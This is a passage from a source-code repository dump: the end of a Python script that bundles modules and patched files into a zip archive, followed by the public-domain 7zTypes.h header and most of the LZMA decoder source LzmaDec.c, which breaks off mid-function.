                            print('adding file : {}'.format(zipname))
                            content.add(zipname)

                            break
        else:
            if '<memimport>' in mpath:
                continue

            found_patch = None
            for extp in ('.py', '.pyc', '.pyo'):
                if os.path.exists(os.path.join(PATCHES, dep+extp)):
                    found_patch = (os.path.join(PATCHES, dep+extp), extp)
                    break

            if found_patch:
                if dep+found_patch[1] in content:
                    continue

                print('adding [PATCH] %s -> %s' %
                      (found_patch[0], dep+found_patch[1]))
                if found_patch[0].endswith('.py'):
                    zf.writestr(
                        dep+found_patch[1]+'o',
                        compile_py(found_patch[0]))
                else:
                    zf.write(found_patch[0], dep+found_patch[1])

            else:
                _, ext = os.path.splitext(mpath)
                if dep+ext in content:
                    continue

                print('adding %s -> %s' % (mpath, dep+ext))
                if mpath.endswith(('.pyc', '.pyo', '.py')):
                    srcfile = mpath
                    if srcfile.endswith(('.pyc', '.pyo')):
                        srcfile = srcfile[:-1]

                    zf.writestr(dep+'.pyo', compile_py(srcfile))
                else:
                    zf.write(mpath, dep+ext)

finally:
    zf.writestr('fid.toc', marshal.dumps(compile_map))
    zf.close()


================================================
FILE: client/common/7zTypes.h
================================================
/* 7zTypes.h -- Basic types
2013-11-12 : Igor Pavlov : Public domain */

#ifndef __7Z_TYPES_H
#define __7Z_TYPES_H

#ifdef _WIN32
/* #include <windows.h> */
#endif

#include <stddef.h>

#ifndef EXTERN_C_BEGIN
#ifdef __cplusplus
#define EXTERN_C_BEGIN extern "C" {
#define EXTERN_C_END }
#else
#define EXTERN_C_BEGIN
#define EXTERN_C_END
#endif
#endif

EXTERN_C_BEGIN

#define SZ_OK 0

#define SZ_ERROR_DATA 1
#define SZ_ERROR_MEM 2
#define SZ_ERROR_CRC 3
#define SZ_ERROR_UNSUPPORTED 4
#define SZ_ERROR_PARAM 5
#define SZ_ERROR_INPUT_EOF 6
#define SZ_ERROR_OUTPUT_EOF 7
#define SZ_ERROR_READ 8
#define SZ_ERROR_WRITE 9
#define SZ_ERROR_PROGRESS 10
#define SZ_ERROR_FAIL 11
#define SZ_ERROR_THREAD 12

#define SZ_ERROR_ARCHIVE 16
#define SZ_ERROR_NO_ARCHIVE 17

typedef int SRes;

#ifdef _WIN32
/* typedef DWORD WRes; */
typedef unsigned WRes;
#else
typedef int WRes;
#endif

#ifndef RINOK
#define RINOK(x) { int __result__ = (x); if (__result__ != 0) return __result__; }
#endif

typedef unsigned char Byte;
typedef short Int16;
typedef unsigned short UInt16;

#ifdef _LZMA_UINT32_IS_ULONG
typedef long Int32;
typedef unsigned long UInt32;
#else
typedef int Int32;
typedef unsigned int UInt32;
#endif

#ifdef _SZ_NO_INT_64

/* define _SZ_NO_INT_64, if your compiler doesn't support 64-bit integers.
   NOTES: Some code will work incorrectly in that case! */

typedef long Int64;
typedef unsigned long UInt64;

#else

#if defined(_MSC_VER) || defined(__BORLANDC__)
typedef __int64 Int64;
typedef unsigned __int64 UInt64;
#define UINT64_CONST(n) n
#else
typedef long long int Int64;
typedef unsigned long long int UInt64;
#define UINT64_CONST(n) n ## ULL
#endif

#endif

#ifdef _LZMA_NO_SYSTEM_SIZE_T
typedef UInt32 SizeT;
#else
typedef size_t SizeT;
#endif

typedef int Bool;
#define True 1
#define False 0


#ifdef _WIN32
#define MY_STD_CALL __stdcall
#else
#define MY_STD_CALL
#endif

#ifdef _MSC_VER

#if _MSC_VER >= 1300
#define MY_NO_INLINE __declspec(noinline)
#else
#define MY_NO_INLINE
#endif

#define MY_CDECL __cdecl
#define MY_FAST_CALL __fastcall

#else

#define MY_NO_INLINE
#define MY_CDECL
#define MY_FAST_CALL

#endif


/* The following interfaces use first parameter as pointer to structure */

typedef struct
{
  Byte (*Read)(void *p); /* reads one byte, returns 0 in case of EOF or error */
} IByteIn;

typedef struct
{
  void (*Write)(void *p, Byte b);
} IByteOut;

typedef struct
{
  SRes (*Read)(void *p, void *buf, size_t *size);
    /* if (input(*size) != 0 && output(*size) == 0) means end_of_stream.
       (output(*size) < input(*size)) is allowed */
} ISeqInStream;

/* it can return SZ_ERROR_INPUT_EOF */
SRes SeqInStream_Read(ISeqInStream *stream, void *buf, size_t size);
SRes SeqInStream_Read2(ISeqInStream *stream, void *buf, size_t size, SRes errorType);
SRes SeqInStream_ReadByte(ISeqInStream *stream, Byte *buf);

typedef struct
{
  size_t (*Write)(void *p, const void *buf, size_t size);
    /* Returns: result - the number of actually written bytes.
       (result < size) means error */
} ISeqOutStream;

typedef enum
{
  SZ_SEEK_SET = 0,
  SZ_SEEK_CUR = 1,
  SZ_SEEK_END = 2
} ESzSeek;

typedef struct
{
  SRes (*Read)(void *p, void *buf, size_t *size);  /* same as ISeqInStream::Read */
  SRes (*Seek)(void *p, Int64 *pos, ESzSeek origin);
} ISeekInStream;

typedef struct
{
  SRes (*Look)(void *p, const void **buf, size_t *size);
    /* if (input(*size) != 0 && output(*size) == 0) means end_of_stream.
       (output(*size) > input(*size)) is not allowed
       (output(*size) < input(*size)) is allowed */
  SRes (*Skip)(void *p, size_t offset);
    /* offset must be <= output(*size) of Look */

  SRes (*Read)(void *p, void *buf, size_t *size);
    /* reads directly (without buffer). It's same as ISeqInStream::Read */
  SRes (*Seek)(void *p, Int64 *pos, ESzSeek origin);
} ILookInStream;

SRes LookInStream_LookRead(ILookInStream *stream, void *buf, size_t *size);
SRes LookInStream_SeekTo(ILookInStream *stream, UInt64 offset);

/* reads via ILookInStream::Read */
SRes LookInStream_Read2(ILookInStream *stream, void *buf, size_t size, SRes errorType);
SRes LookInStream_Read(ILookInStream *stream, void *buf, size_t size);

#define LookToRead_BUF_SIZE (1 << 14)

typedef struct
{
  ILookInStream s;
  ISeekInStream *realStream;
  size_t pos;
  size_t size;
  Byte buf[LookToRead_BUF_SIZE];
} CLookToRead;

void LookToRead_CreateVTable(CLookToRead *p, int lookahead);
void LookToRead_Init(CLookToRead *p);

typedef struct
{
  ISeqInStream s;
  ILookInStream *realStream;
} CSecToLook;

void SecToLook_CreateVTable(CSecToLook *p);

typedef struct
{
  ISeqInStream s;
  ILookInStream *realStream;
} CSecToRead;

void SecToRead_CreateVTable(CSecToRead *p);

typedef struct
{
  SRes (*Progress)(void *p, UInt64 inSize, UInt64 outSize);
    /* Returns: result. (result != SZ_OK) means break.
       Value (UInt64)(Int64)-1 for size means unknown value. */
} ICompressProgress;

typedef struct
{
  void *(*Alloc)(void *p, size_t size);
  void (*Free)(void *p, void *address); /* address can be 0 */
} ISzAlloc;

#define IAlloc_Alloc(p, size) (p)->Alloc((p), size)
#define IAlloc_Free(p, a) (p)->Free((p), a)

#ifdef _WIN32

#define CHAR_PATH_SEPARATOR '\\'
#define WCHAR_PATH_SEPARATOR L'\\'
#define STRING_PATH_SEPARATOR "\\"
#define WSTRING_PATH_SEPARATOR L"\\"

#else

#define CHAR_PATH_SEPARATOR '/'
#define WCHAR_PATH_SEPARATOR L'/'
#define STRING_PATH_SEPARATOR "/"
#define WSTRING_PATH_SEPARATOR L"/"

#endif

EXTERN_C_END

#endif


================================================
FILE: client/common/LzmaDec.c
================================================
/* LzmaDec.c -- LZMA Decoder
2016-05-16 : Igor Pavlov : Public domain */

#include "LzmaDec.h"

#include <string.h>

#define kNumTopBits 24
#define kTopValue ((UInt32)1 << kNumTopBits)

#define kNumBitModelTotalBits 11
#define kBitModelTotal (1 << kNumBitModelTotalBits)
#define kNumMoveBits 5

#define RC_INIT_SIZE 5

#define NORMALIZE if (range < kTopValue) { range <<= 8; code = (code << 8) | (*buf++); }

#define IF_BIT_0(p) ttt = *(p); NORMALIZE; bound = (range >> kNumBitModelTotalBits) * ttt; if (code < bound)
#define UPDATE_0(p) range = bound; *(p) = (CLzmaProb)(ttt + ((kBitModelTotal - ttt) >> kNumMoveBits));
#define UPDATE_1(p) range -= bound; code -= bound; *(p) = (CLzmaProb)(ttt - (ttt >> kNumMoveBits));
#define GET_BIT2(p, i, A0, A1) IF_BIT_0(p) \
  { UPDATE_0(p); i = (i + i); A0; } else \
  { UPDATE_1(p); i = (i + i) + 1; A1; }
#define GET_BIT(p, i) GET_BIT2(p, i, ; , ;)

#define TREE_GET_BIT(probs, i) { GET_BIT((probs + i), i); }
#define TREE_DECODE(probs, limit, i) \
  { i = 1; do { TREE_GET_BIT(probs, i); } while (i < limit); i -= limit; }

/* #define _LZMA_SIZE_OPT */

#ifdef _LZMA_SIZE_OPT
#define TREE_6_DECODE(probs, i) TREE_DECODE(probs, (1 << 6), i)
#else
#define TREE_6_DECODE(probs, i) \
  { i = 1; \
  TREE_GET_BIT(probs, i); \
  TREE_GET_BIT(probs, i); \
  TREE_GET_BIT(probs, i); \
  TREE_GET_BIT(probs, i); \
  TREE_GET_BIT(probs, i); \
  TREE_GET_BIT(probs, i); \
  i -= 0x40; }
#endif

#define NORMAL_LITER_DEC GET_BIT(prob + symbol, symbol)
#define MATCHED_LITER_DEC \
  matchByte <<= 1; \
  bit = (matchByte & offs); \
  probLit = prob + offs + bit + symbol; \
  GET_BIT2(probLit, symbol, offs &= ~bit, offs &= bit)

#define NORMALIZE_CHECK if (range < kTopValue) { if (buf >= bufLimit) return DUMMY_ERROR; range <<= 8; code = (code << 8) | (*buf++); }

#define IF_BIT_0_CHECK(p) ttt = *(p); NORMALIZE_CHECK; bound = (range >> kNumBitModelTotalBits) * ttt; if (code < bound)
#define UPDATE_0_CHECK range = bound;
#define UPDATE_1_CHECK range -= bound; code -= bound;
#define GET_BIT2_CHECK(p, i, A0, A1) IF_BIT_0_CHECK(p) \
  { UPDATE_0_CHECK; i = (i + i); A0; } else \
  { UPDATE_1_CHECK; i = (i + i) + 1; A1; }
#define GET_BIT_CHECK(p, i) GET_BIT2_CHECK(p, i, ; , ;)
#define TREE_DECODE_CHECK(probs, limit, i) \
  { i = 1; do { GET_BIT_CHECK(probs + i, i) } while (i < limit); i -= limit; }


#define kNumPosBitsMax 4
#define kNumPosStatesMax (1 << kNumPosBitsMax)

#define kLenNumLowBits 3
#define kLenNumLowSymbols (1 << kLenNumLowBits)
#define kLenNumMidBits 3
#define kLenNumMidSymbols (1 << kLenNumMidBits)
#define kLenNumHighBits 8
#define kLenNumHighSymbols (1 << kLenNumHighBits)

#define LenChoice 0
#define LenChoice2 (LenChoice + 1)
#define LenLow (LenChoice2 + 1)
#define LenMid (LenLow + (kNumPosStatesMax << kLenNumLowBits))
#define LenHigh (LenMid + (kNumPosStatesMax << kLenNumMidBits))
#define kNumLenProbs (LenHigh + kLenNumHighSymbols)


#define kNumStates 12
#define kNumLitStates 7

#define kStartPosModelIndex 4
#define kEndPosModelIndex 14
#define kNumFullDistances (1 << (kEndPosModelIndex >> 1))

#define kNumPosSlotBits 6
#define kNumLenToPosStates 4

#define kNumAlignBits 4
#define kAlignTableSize (1 << kNumAlignBits)

#define kMatchMinLen 2
#define kMatchSpecLenStart (kMatchMinLen + kLenNumLowSymbols + kLenNumMidSymbols + kLenNumHighSymbols)

#define IsMatch 0
#define IsRep (IsMatch + (kNumStates << kNumPosBitsMax))
#define IsRepG0 (IsRep + kNumStates)
#define IsRepG1 (IsRepG0 + kNumStates)
#define IsRepG2 (IsRepG1 + kNumStates)
#define IsRep0Long (IsRepG2 + kNumStates)
#define PosSlot (IsRep0Long + (kNumStates << kNumPosBitsMax))
#define SpecPos (PosSlot + (kNumLenToPosStates << kNumPosSlotBits))
#define Align (SpecPos + kNumFullDistances - kEndPosModelIndex)
#define LenCoder (Align + kAlignTableSize)
#define RepLenCoder (LenCoder + kNumLenProbs)
#define Literal (RepLenCoder + kNumLenProbs)

#define LZMA_BASE_SIZE 1846
#define LZMA_LIT_SIZE 0x300

#if Literal != LZMA_BASE_SIZE
StopCompilingDueBUG
#endif

#define LzmaProps_GetNumProbs(p) (Literal + ((UInt32)LZMA_LIT_SIZE << ((p)->lc + (p)->lp)))

#define LZMA_DIC_MIN (1 << 12)

/* First LZMA-symbol is always decoded.
And it decodes new LZMA-symbols while (buf < bufLimit), but "buf" is without last normalization
Out:
  Result:
    SZ_OK - OK
    SZ_ERROR_DATA - Error
  p->remainLen:
    < kMatchSpecLenStart : normal remain
    = kMatchSpecLenStart : finished
    = kMatchSpecLenStart + 1 : Flush marker (unused now)
    = kMatchSpecLenStart + 2 : State Init Marker (unused now)
*/

static int MY_FAST_CALL LzmaDec_DecodeReal(CLzmaDec *p, SizeT limit, const Byte *bufLimit)
{
  CLzmaProb *probs = p->probs;

  unsigned state = p->state;
  UInt32 rep0 = p->reps[0], rep1 = p->reps[1], rep2 = p->reps[2], rep3 = p->reps[3];
  unsigned pbMask = ((unsigned)1 << (p->prop.pb)) - 1;
  unsigned lpMask = ((unsigned)1 << (p->prop.lp)) - 1;
  unsigned lc = p->prop.lc;

  Byte *dic = p->dic;
  SizeT dicBufSize = p->dicBufSize;
  SizeT dicPos = p->dicPos;
  
  UInt32 processedPos = p->processedPos;
  UInt32 checkDicSize = p->checkDicSize;
  unsigned len = 0;

  const Byte *buf = p->buf;
  UInt32 range = p->range;
  UInt32 code = p->code;

  do
  {
    CLzmaProb *prob;
    UInt32 bound;
    unsigned ttt;
    unsigned posState = processedPos & pbMask;

    prob = probs + IsMatch + (state << kNumPosBitsMax) + posState;
    IF_BIT_0(prob)
    {
      unsigned symbol;
      UPDATE_0(prob);
      prob = probs + Literal;
      if (processedPos != 0 || checkDicSize != 0)
        prob += ((UInt32)LZMA_LIT_SIZE * (((processedPos & lpMask) << lc) +
            (dic[(dicPos == 0 ? dicBufSize : dicPos) - 1] >> (8 - lc))));
      processedPos++;

      if (state < kNumLitStates)
      {
        state -= (state < 4) ? state : 3;
        symbol = 1;
        #ifdef _LZMA_SIZE_OPT
        do { NORMAL_LITER_DEC } while (symbol < 0x100);
        #else
        NORMAL_LITER_DEC
        NORMAL_LITER_DEC
        NORMAL_LITER_DEC
        NORMAL_LITER_DEC
        NORMAL_LITER_DEC
        NORMAL_LITER_DEC
        NORMAL_LITER_DEC
        NORMAL_LITER_DEC
        #endif
      }
      else
      {
        unsigned matchByte = dic[dicPos - rep0 + (dicPos < rep0 ? dicBufSize : 0)];
        unsigned offs = 0x100;
        state -= (state < 10) ? 3 : 6;
        symbol = 1;
        #ifdef _LZMA_SIZE_OPT
        do
        {
          unsigned bit;
          CLzmaProb *probLit;
          MATCHED_LITER_DEC
        }
        while (symbol < 0x100);
        #else
        {
          unsigned bit;
          CLzmaProb *probLit;
          MATCHED_LITER_DEC
          MATCHED_LITER_DEC
          MATCHED_LITER_DEC
          MATCHED_LITER_DEC
          MATCHED_LITER_DEC
          MATCHED_LITER_DEC
          MATCHED_LITER_DEC
          MATCHED_LITER_DEC
        }
        #endif
      }

      dic[dicPos++] = (Byte)symbol;
      continue;
    }
    
    {
      UPDATE_1(prob);
      prob = probs + IsRep + state;
      IF_BIT_0(prob)
      {
        UPDATE_0(prob);
        state += kNumStates;
        prob = probs + LenCoder;
      }
      else
      {
        UPDATE_1(prob);
        if (checkDicSize == 0 && processedPos == 0)
          return SZ_ERROR_DATA;
        prob = probs + IsRepG0 + state;
        IF_BIT_0(prob)
        {
          UPDATE_0(prob);
          prob = probs + IsRep0Long + (state << kNumPosBitsMax) + posState;
          IF_BIT_0(prob)
          {
            UPDATE_0(prob);
            dic[dicPos] = dic[dicPos - rep0 + (dicPos < rep0 ? dicBufSize : 0)];
            dicPos++;
            processedPos++;
            state = state < kNumLitStates ? 9 : 11;
            continue;
          }
          UPDATE_1(prob);
        }
        else
        {
          UInt32 distance;
          UPDATE_1(prob);
          prob = probs + IsRepG1 + state;
          IF_BIT_0(prob)
          {
            UPDATE_0(prob);
            distance = rep1;
          }
          else
          {
            UPDATE_1(prob);
            prob = probs + IsRepG2 + state;
            IF_BIT_0(prob)
            {
              UPDATE_0(prob);
              distance = rep2;
            }
            else
            {
              UPDATE_1(prob);
              distance = rep3;
              rep3 = rep2;
            }
            rep2 = rep1;
          }
          rep1 = rep0;
          rep0 = distance;
        }
        state = state < kNumLitStates ? 8 : 11;
        prob = probs + RepLenCoder;
      }
      
      #ifdef _LZMA_SIZE_OPT
      {
        unsigned lim, offset;
        CLzmaProb *probLen = prob + LenChoice;
        IF_BIT_0(probLen)
        {
          UPDATE_0(probLen);
          probLen = prob + LenLow + (posState << kLenNumLowBits);
          offset = 0;
          lim = (1 << kLenNumLowBits);
        }
        else
        {
          UPDATE_1(probLen);
          probLen = prob + LenChoice2;
          IF_BIT_0(probLen)
          {
            UPDATE_0(probLen);
            probLen = prob + LenMid + (posState << kLenNumMidBits);
            offset = kLenNumLowSymbols;
            lim = (1 << kLenNumMidBits);
          }
          else
          {
            UPDATE_1(probLen);
            probLen = prob + LenHigh;
            offset = kLenNumLowSymbols + kLenNumMidSymbols;
            lim = (1 << kLenNumHighBits);
          }
        }
        TREE_DECODE(probLen, lim, len);
        len += offset;
      }
      #else
      {
        CLzmaProb *probLen = prob + LenChoice;
        IF_BIT_0(probLen)
        {
          UPDATE_0(probLen);
          probLen = prob + LenLow + (posState << kLenNumLowBits);
          len = 1;
          TREE_GET_BIT(probLen, len);
          TREE_GET_BIT(probLen, len);
          TREE_GET_BIT(probLen, len);
          len -= 8;
        }
        else
        {
          UPDATE_1(probLen);
          probLen = prob + LenChoice2;
          IF_BIT_0(probLen)
          {
            UPDATE_0(probLen);
            probLen = prob + LenMid + (posState << kLenNumMidBits);
            len = 1;
            TREE_GET_BIT(probLen, len);
            TREE_GET_BIT(probLen, len);
            TREE_GET_BIT(probLen, len);
          }
          else
          {
            UPDATE_1(probLen);
            probLen = prob + LenHigh;
            TREE_DECODE(probLen, (1 << kLenNumHighBits), len);
            len += kLenNumLowSymbols + kLenNumMidSymbols;
          }
        }
      }
      #endif

      if (state >= kNumStates)
      {
        UInt32 distance;
        prob = probs + PosSlot +
            ((len < kNumLenToPosStates ? len : kNumLenToPosStates - 1) << kNumPosSlotBits);
        TREE_6_DECODE(prob, distance);
        if (distance >= kStartPosModelIndex)
        {
          unsigned posSlot = (unsigned)distance;
          unsigned numDirectBits = (unsigned)(((distance >> 1) - 1));
          distance = (2 | (distance & 1));
          if (posSlot < kEndPosModelIndex)
          {
            distance <<= numDirectBits;
            prob = probs + SpecPos + distance - posSlot - 1;
            {
              UInt32 mask = 1;
              unsigned i = 1;
              do
              {
                GET_BIT2(prob + i, i, ; , distance |= mask);
                mask <<= 1;
              }
              while (--numDirectBits != 0);
            }
          }
          else
          {
            numDirectBits -= kNumAlignBits;
            do
            {
              NORMALIZE
              range >>= 1;
              
              {
                UInt32 t;
                code -= range;
                t = (0 - ((UInt32)code >> 31)); /* (UInt32)((Int32)code >> 31) */
                distance = (distance << 1) + (t + 1);
                code += range & t;
              }
              /*
              distance <<= 1;
              if (code >= range)
              {
                code -= range;
                distance |= 1;
              }
              */
            }
            while (--numDirectBits != 0);
            prob = probs + Align;
            distance <<= kNumAlignBits;
            {
              unsigned i = 1;
              GET_BIT2(prob + i, i, ; , distance |= 1);
              GET_BIT2(prob + i, i, ; , distance |= 2);
              GET_BIT2(prob + i, i, ; , distance |= 4);
              GET_BIT2(prob + i, i, ; , distance |= 8);
            }
            if (distance == (UInt32)0xFFFFFFFF)
            {
              len += kMatchSpecLenStart;
              state -= kNumStates;
              break;
            }
          }
        }
        
        rep3 = rep2;
        rep2 = rep1;
        rep1 = rep0;
        rep0 = distance + 1;
        if (checkDicSize == 0)
        {
          if (distance >= processedPos)
          {
            p->dicPos = dicPos;
            return SZ_ERROR_DATA;
          }
        }
        else if (distance >= checkDicSize)
        {
          p->dicPos = dicPos;
          return SZ_ERROR_DATA;
        }
        state = (state < kNumStates + kNumLitStates) ? kNumLitStates : kNumLitStates + 3;
      }

      len += kMatchMinLen;

      {
        SizeT rem;
        unsigned curLen;
        SizeT pos;
        
        if ((rem = limit - dicPos) == 0)
        {
          p->dicPos = dicPos;
          return SZ_ERROR_DATA;
        }
        
        curLen = ((rem < len) ? (unsigned)rem : len);
        pos = dicPos - rep0 + (dicPos < rep0 ? dicBufSize : 0);

        processedPos += curLen;

        len -= curLen;
        if (curLen <= dicBufSize - pos)
        {
          Byte *dest = dic + dicPos;
          ptrdiff_t src = (ptrdiff_t)pos - (ptrdiff_t)dicPos;
          const Byte *lim = dest + curLen;
          dicPos += curLen;
          do
            *(dest) = (Byte)*(dest + src);
          while (++dest != lim);
        }
        else
        {
          do
          {
            dic[dicPos++] = dic[pos];
            if (++pos == dicBufSize)
              pos = 0;
          }
          while (--curLen != 0);
        }
      }
    }
  }
  while (dicPos < limit && buf < bufLimit);

  NORMALIZE;
  
  p->buf = buf;
  p->range = range;
  p->code = code;
  p->remainLen = len;
  p->dicPos = dicPos;
  p->processedPos = processedPos;
  p->reps[0] = rep0;
  p->reps[1] = rep1;
  p->reps[2] = rep2;
  p->reps[3] = rep3;
  p->state = state;

  return SZ_OK;
}

static void MY_FAST_CALL LzmaDec_WriteRem(CLzmaDec *p, SizeT limit)
{
  if (p->remainLen != 0 && p->remainLen < kMatchSpecLenStart)
  {
    Byte *dic = p->dic;
    SizeT dicPos = p->dicPos;
    SizeT dicBufSize = p->dicBufSize;
    unsigned len = p->remainLen;
    SizeT rep0 = p->reps[0]; /* we use SizeT to avoid the BUG of VC14 for AMD64 */
    SizeT rem = limit - dicPos;
    if (rem < len)
      len = (unsigned)(rem);

    if (p->checkDicSize == 0 && p->prop.dicSize - p->processedPos <= len)
      p->checkDicSize = p->prop.dicSize;

    p->processedPos += len;
    p->remainLen -= len;
    while (len != 0)
    {
      len--;
      dic[dicPos] = dic[dicPos - rep0 + (dicPos < rep0 ? dicBufSize : 0)];
      dicPos++;
    }
    p->dicPos = dicPos;
  }
}

static int MY_FAST_CALL LzmaDec_DecodeReal2(CLzmaDec *p, SizeT limit, const Byte *bufLimit)
{
  do
  {
    SizeT limit2 = limit;
    if (p->checkDicSize == 0)
    {
      UInt32 rem = p->prop.dicSize - p->processedPos;
      if (limit - p->dicPos > rem)
        limit2 = p->dicPos + rem;
    }
    
    RINOK(LzmaDec_DecodeReal(p, limit2, bufLimit));
    
    if (p->checkDicSize == 0 && p->processedPos >= p->prop.dicSize)
      p->checkDicSize = p->prop.dicSize;
    
    LzmaDec_WriteRem(p, limit);
  }
  while (p->dicPos < limit && p->buf < bufLimit && p->remainLen < kMatchSpecLenStart);

  if (p->remainLen > kMatchSpecLenStart)
    p->remainLen = kMatchSpecLenStart;

  return 0;
}

typedef enum
{
  DUMMY_ERROR, /* unexpected end of input stream */
  DUMMY_LIT,
  DUMMY_MATCH,
  DUMMY_REP
} ELzmaDummy;

static ELzmaDummy LzmaDec_TryDummy(const CLzmaDec *p, const Byte *buf, SizeT inSize)
{
  UInt32 range = p->range;
  UInt32 code = p->code;
  const Byte *bufLimit = buf + inSize;
  const CLzmaProb *probs = p->probs;
  unsigned state = p->state;
  ELzmaDummy res;

  {
    const CLzmaProb *prob;
    UInt32 bound;
    unsigned ttt;
    unsigned posState = (p->processedPos) & ((1 << p->prop.pb) - 1);

    prob = probs + IsMatch + (state << kNumPosBitsMax) + posState;
    IF_BIT_0_CHECK(prob)
    {
      UPDATE_0_CHECK

      /* if (bufLimit - buf >= 7) return DUMMY_LIT; */

      prob = probs + Literal;
      if (p->checkDicSize != 0 || p->processedPos != 0)
        prob += ((UInt32)LZMA_LIT_SIZE *
            ((((p->processedPos) & ((1 << (p->prop.lp)) - 1)) << p->prop.lc) +
            (p->dic[(p->dicPos == 0 ? p->dicBufSize : p->dicPos) - 1] >> (8 - p->prop.lc))));

      if (state < kNumLitStates)
      {
        unsigned symbol = 1;
        do { GET_BIT_CHECK(prob + symbol, symbol) } while (symbol < 0x100);
      }
      else
      {
        unsigned matchByte = p->dic[p->dicPos - p->reps[0] +
            (p->dicPos < p->reps[0] ? p->dicBufSize : 0)];
        unsigned offs = 0x100;
        unsigned symbol = 1;
        do
        {
          unsigned bit;
          const CLzmaProb *probLit;
          matchByte <<= 1;
          bit = (matchByte & offs);
          probLit = prob + offs + bit + symbol;
          GET_BIT2_CHECK(probLit, symbol, offs &= ~bit, offs &= bit)
        }
        while (symbol < 0x100);
      }
      res = DUMMY_LIT;
    }
    else
    {
      unsigned len;
      UPDATE_1_CHECK;

      prob = probs + IsRep + state;
      IF_BIT_0_CHECK(prob)
      {
        UPDATE_0_CHECK;
        state = 0;
        prob = probs + LenCoder;
        res = DUMMY_MATCH;
      }
      else
      {
        UPDATE_1_CHECK;
        res = DUMMY_REP;
        prob = probs + IsRepG0 + state;
        IF_BIT_0_CHECK(prob)
        {
          UPDATE_0_CHECK;
          prob = probs + IsRep0Long + (state << kNumPosBitsMax) + posState;
          IF_BIT_0_CHECK(prob)
          {
            UPDATE_0_CHECK;
            NORMALIZE_CHECK;
            return DUMMY_REP;
          }
          else
          {
            UPDATE_1_CHECK;
          }
        }
        else
        {
          UPDATE_1_CHECK;
          prob = probs + IsRepG1 + state;
          IF_BIT_0_CHECK(prob)
          {
            UPDATE_0_CHECK;
          }
          else
          {
            UPDATE_1_CHECK;
            prob = probs + IsRepG2 + state;
            IF_BIT_0_CHECK(prob)
            {
              UPDATE_0_CHECK;
            }
            else
            {
              UPDATE_1_CHECK;
            }
          }
        }
        state = kNumStates;
        prob = probs + RepLenCoder;
      }
      {
        unsigned limit, offset;
        const CLzmaProb *probLen = prob + LenChoice;
        IF_BIT_0_CHECK(probLen)
        {
          UPDATE_0_CHECK;
          probLen = prob + LenLow + (posState << kLenNumLowBits);
          offset = 0;
          limit = 1 << kLenNumLowBits;
        }
        else
        {
          UPDATE_1_CHECK;
          probLen = prob + LenChoice2;
          IF_BIT_0_CHECK(probLen)
          {
            UPDATE_0_CHECK;
            probLen = prob + LenMid + (posState << kLenNumMidBits);
            offset = kLenNumLowSymbols;
            limit = 1 << kLenNumMidBits;
          }
          else
          {
            UPDATE_1_CHECK;
            probLen = prob + LenHigh;
            offset = kLenNumLowSymbols + kLenNumMidSymbols;
            limit = 1 << kLenNumHighBits;
          }
        }
        TREE_DECODE_CHECK(probLen, limit, len);
        len += offset;
      }

      if (state < 4)
      {
        unsigned posSlot;
        prob = probs + PosSlot +
            ((len < kNumLenToPosStates ? len : kNumLenToPosStates - 1) <<
            kNumPosSlotBits);
        TREE_DECODE_CHECK(prob, 1 << kNumPosSlotBits, posSlot);
        if (posSlot >= kStartPosModelIndex)
        {
          unsigned numDirectBits = ((posSlot >> 1) - 1);

          /* if (bufLimit - buf >= 8) return DUMMY_MATCH; */

          if (posSlot < kEndPosModelIndex)
          {
            prob = probs + SpecPos + ((2 | (posSlot & 1)) << numDirectBits) - posSlot - 1;
          }
          else
          {
            numDirectBits -= kNumAlignBits;
            do
            {
              NORMALIZE_CHECK
              range >>= 1;
              code -= range & (((code - range) >> 31) - 1);
              /* if (code >= range) code -= range; */
            }
            while (--numDirectBits != 0);
            prob = probs + Align;
            numDirectBits = kNumAlignBits;
          }
          {
            unsigned i = 1;
            do
            {
              GET_BIT_CHECK(prob + i, i);
            }
            while (--numDirectBits != 0);
          }
        }
      }
    }
  }
  NORMALIZE_CHECK;
  return res;
}


void LzmaDec_InitDicAndState(CLzmaDec *p, Bool initDic, Bool initState)
{
  p->needFlush = 1;
  p->remainLen = 0;
  p->tempBufSize = 0;

  if (initDic)
  {
    p->processedPos = 0;
    p->checkDicSize = 0;
    p->needInitState = 1;
  }
  if (initState)
    p->needInitState = 1;
}

void LzmaDec_Init(CLzmaDec *p)
{
  p->dicPos = 0;
  LzmaDec_InitDicAndState(p, True, True);
}

static void LzmaDec_InitStateReal(CLzmaDec *p)
{
  SizeT numProbs = LzmaProps_GetNumProbs(&p->prop);
  SizeT i;
  CLzmaProb *probs = p->probs;
  for (i = 0; i < numProbs; i++)
    probs[i] = kBitModelTotal >> 1;
  p->reps[0] = p->reps[1] = p->reps[2] = p->reps[3] = 1;
  p->state = 0;
  p->needInitState = 0;
}

SRes LzmaDec_DecodeToDic(CLzmaDec *p, SizeT dicLimit, const Byte *src, SizeT *srcLen,
    ELzmaFinishMode finishMode, ELzmaStatus *status)
{
  SizeT inSize = *srcLen;
  (*srcLen) = 0;
  LzmaDec_WriteRem(p, dicLimit);
  
  *status = LZMA_STATUS_NOT_SPECIFIED;

  while (p->remainLen != kMatchSpecLenStart)
  {
      int checkEndMarkNow;

      if (p->needFlush)
      {
        for (; inSize > 0 && p->tempBufSize < RC_INIT_SIZE; (*srcLen)++, inSize--)
          p->tempBuf[p->tempBufSize++] = *src++;
        if (p->tempBufSize < RC_INIT_SIZE)
        {
          *status = LZMA_STATUS_NEEDS_MORE_INPUT;
          return SZ_OK;
        }
        if (p->tempBuf[0] != 0)
          return SZ_ERROR_DATA;
        p->code =
              ((UInt32)p->tempBuf[1] << 24)
            | ((UInt32)p->tempBuf[2] << 16)
            | ((UInt32)p->tempBuf[3] << 8)
            | ((UInt32)p->tempBuf[4]);
        p->range = 0xFFFFFFFF;
        p->needFlush = 0;
        p->tempBufSize = 0;
      }

      checkEndMarkNow = 0;
      if (p->dicPos >= dicLimit)
      {
        if (p->remainLen == 0 && p->code == 0)
        {
          *status = LZMA_STATUS_MAYBE_FINISHED_WITHOUT_MARK;
          return SZ_OK;
        }
        if (finishMode == LZMA_FINISH_ANY)
        {
          *status = LZMA_STATUS_NOT_FINISHED;
          return SZ_OK;
        }
        if (p->remainLen != 0)
        {
          *status = LZMA_STATUS_NOT_FINISHED;
          return SZ_ERROR_DATA;
        }
        checkEndMarkNow = 1;
      }

      if (p->needInitState)
        LzmaDec_InitStateReal(p);
  
      if (p->tempBufSize == 0)
      {
        SizeT processed;
        const Byte *bufLimit;
        if (inSize < LZMA_REQUIRED_INPUT_MAX || checkEndMarkNow)
        {
          int dummyRes = LzmaDec_TryDummy(p, src, inSize);
          if (dummyRes == DUMMY_ERROR)
          {
            memcpy(p->tempBuf, src, inSize);
